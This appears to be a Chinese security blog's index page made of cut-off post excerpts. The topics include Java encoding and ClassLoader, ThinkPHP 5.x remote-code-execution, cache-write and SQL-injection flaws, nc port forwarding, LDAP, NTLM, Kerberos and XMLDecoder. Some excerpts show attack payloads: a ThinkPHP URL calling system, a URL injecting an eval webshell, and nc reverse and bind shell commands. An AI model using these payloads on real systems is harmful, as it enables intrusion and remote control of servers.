文件的编码
gbk编码的中文占2个字节,英文占1个字节
utf-8编码的中文占3个字节,英文占1个字节
utf-16be编码为双字节编码
项目默认使用的编码根据IDEA设置的编码决定
编码和解码的字符集要相同,否则会出现乱码
12345678910111213141516171819202122232425262728293031323334353637383940package com.test.FileIO;import java.nio.charset.StandardCharsets;public class FileDemo { public stati...
类加载机制(ClassLoader)ClassLoader简介Java依赖于JVM(Java Virtual Machine)来实现跨平台开发语言。Java程序编译为class字节码文件,当Java类初始化时会通过java.lang.ClassLoader加载class字节码文件,ClassLoader调用JVM的native方法声明一个类的实例。
ClassLoader是所有类加载器的父类
JVM顶层ClassLoader:
Bootstrap ClassLoader(引导加载器)
Extension ClassLoader(拓展类加载器)
App ClassLoader(系统类加...
漏洞简介由于Thinkphp5.0.7-5.0.22和5.1.0-5.1.30默认关闭强制路由,并且我们可以得知兼容模式路由的调用参数为s,因此可以通过?s=模块/控制器/方法名的形式来调用任意方法,并且没有对调用的模块进行过滤,造成RCE
漏洞演示5.1.x:
12345?s=index/\think\Request/input&filter[]=system&data=pwd?s=index/\think\view\driver\Php/display&content=...
漏洞介绍缓存写入功能调用了think\cache\driver\File类的Set方法,将获取的变量值写入runtime下的php文件,文件名为md5值,由于一般thinkphp将目录设置在public目录下,因此该漏洞需要配合文件包含或者错误安全配置导致php文件可直接访问到
漏洞演示1http://localhost/?username=mochazz123%0d%0a@eval($_GET[_]);//
漏洞分析漏洞入口
通过thinkphp/helper.php的input读取username变量,比如input(...
端口转发、映射、代理概念https://xz.aliyun.com/t/6349#toc-0
端口转发、映射NC工具NC反向连接B位于内网,A不可访问B,B可以访问A,即A位于外网,适合nc反向连接,将B的shell反弹到外网A
1234#A执行如下命令nc -lnvvp 监听端口#B执行如下命令nc -e cmd A的IP A监听端口
NC正向连接受害者B位于外网,攻击者A位于内网,此时采用将A的shell反弹到B处的方法
1234#B执行如下命令nc -lvp 监听端口 -e cmd.exe(/bin/bash)#A执行如下命令nc B的IP B的监听端口
L...
LDAP简介LDAP全称是Lightweight Directory Access Protocol,轻量目录访问协议。顾名思义,LDAP是设计用来访问目录数据库的一个协议。
目录数据库由目录服务数据库和一套访问协议组成
目录服务数据库
目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目。
每个条目是一条记录,条目有唯一可标识的名词DN(每个圆圈是一个条目)
DN,RDN:比如说第一个叶子条目,他有一个唯一可区分的名称DN:uid=bob,ou=people,dc=acme,dc=org。类似于文件目录的相对路径绝对路径,他除了有个DN之...
参考链接:
https://mp.weixin.qq.com/s/ZjdQVG__98doTH2GCjLNww
https://mp.weixin.qq.com/s/UA9P-lgiS1oIrv4oL_mD-g
基础知识SSP&SSPI
SSPI(Security Support Provider Interface),安全服务提供接口
SSP(Security Service Provider),安全服务提供,实现SSP的角色,如NTLM SSP、Kerberos SSP、Digest SSP、Cred SSP等
Windows认证Windows认证不通过明文密码而通过H...
漏洞简介传入的参数默认都会经过filterExp方法过滤,但是这次NOT LIKE被写成了NOTLIKE,过滤失效,在parseWhereItem中经过拼接造成了sql报错注入
环境配置12345678910111213141516171819202122232425262728293031323334composer create-project --prefer-dist topthink/think=5.0.10 tpdemo#composer.json改如下字段"require": { "php": ">=5...
kerberos协议简介kerberos是通过密钥加密技术为客户端/服务器(C/S)应用程序提供强身份验证的网络身份验证协议
存在三个角色
Client,请求服务
Server,提供服务
KDC(Key Distribution Center)密钥分发中心
其中KDC安装在域控中,Client是否有权限访问服务由KDC发放的票据来决定
名词解释
Authentication Service,身份验证服务,简称AS,用于KDC对Client认证。
Ticket Grantng Service,票据授予服务,简称TGS,用于KDC向Client和Server分发Session Key(...
XMLDecoder和XMLEncoderXMLEncoder类是互补替代ObjectOutputStream,并且可以以相同的方式用于产生的文本表示的JavaBean组件,而XMLDecoder从XMLEncoder生成的xml文档中获取JavaBean组件
XMLEncoder用法12345678public class test { public static void main(String[] args) throws Exception{ XMLEncoder a = new XMLEncoder(new BufferedOutputS...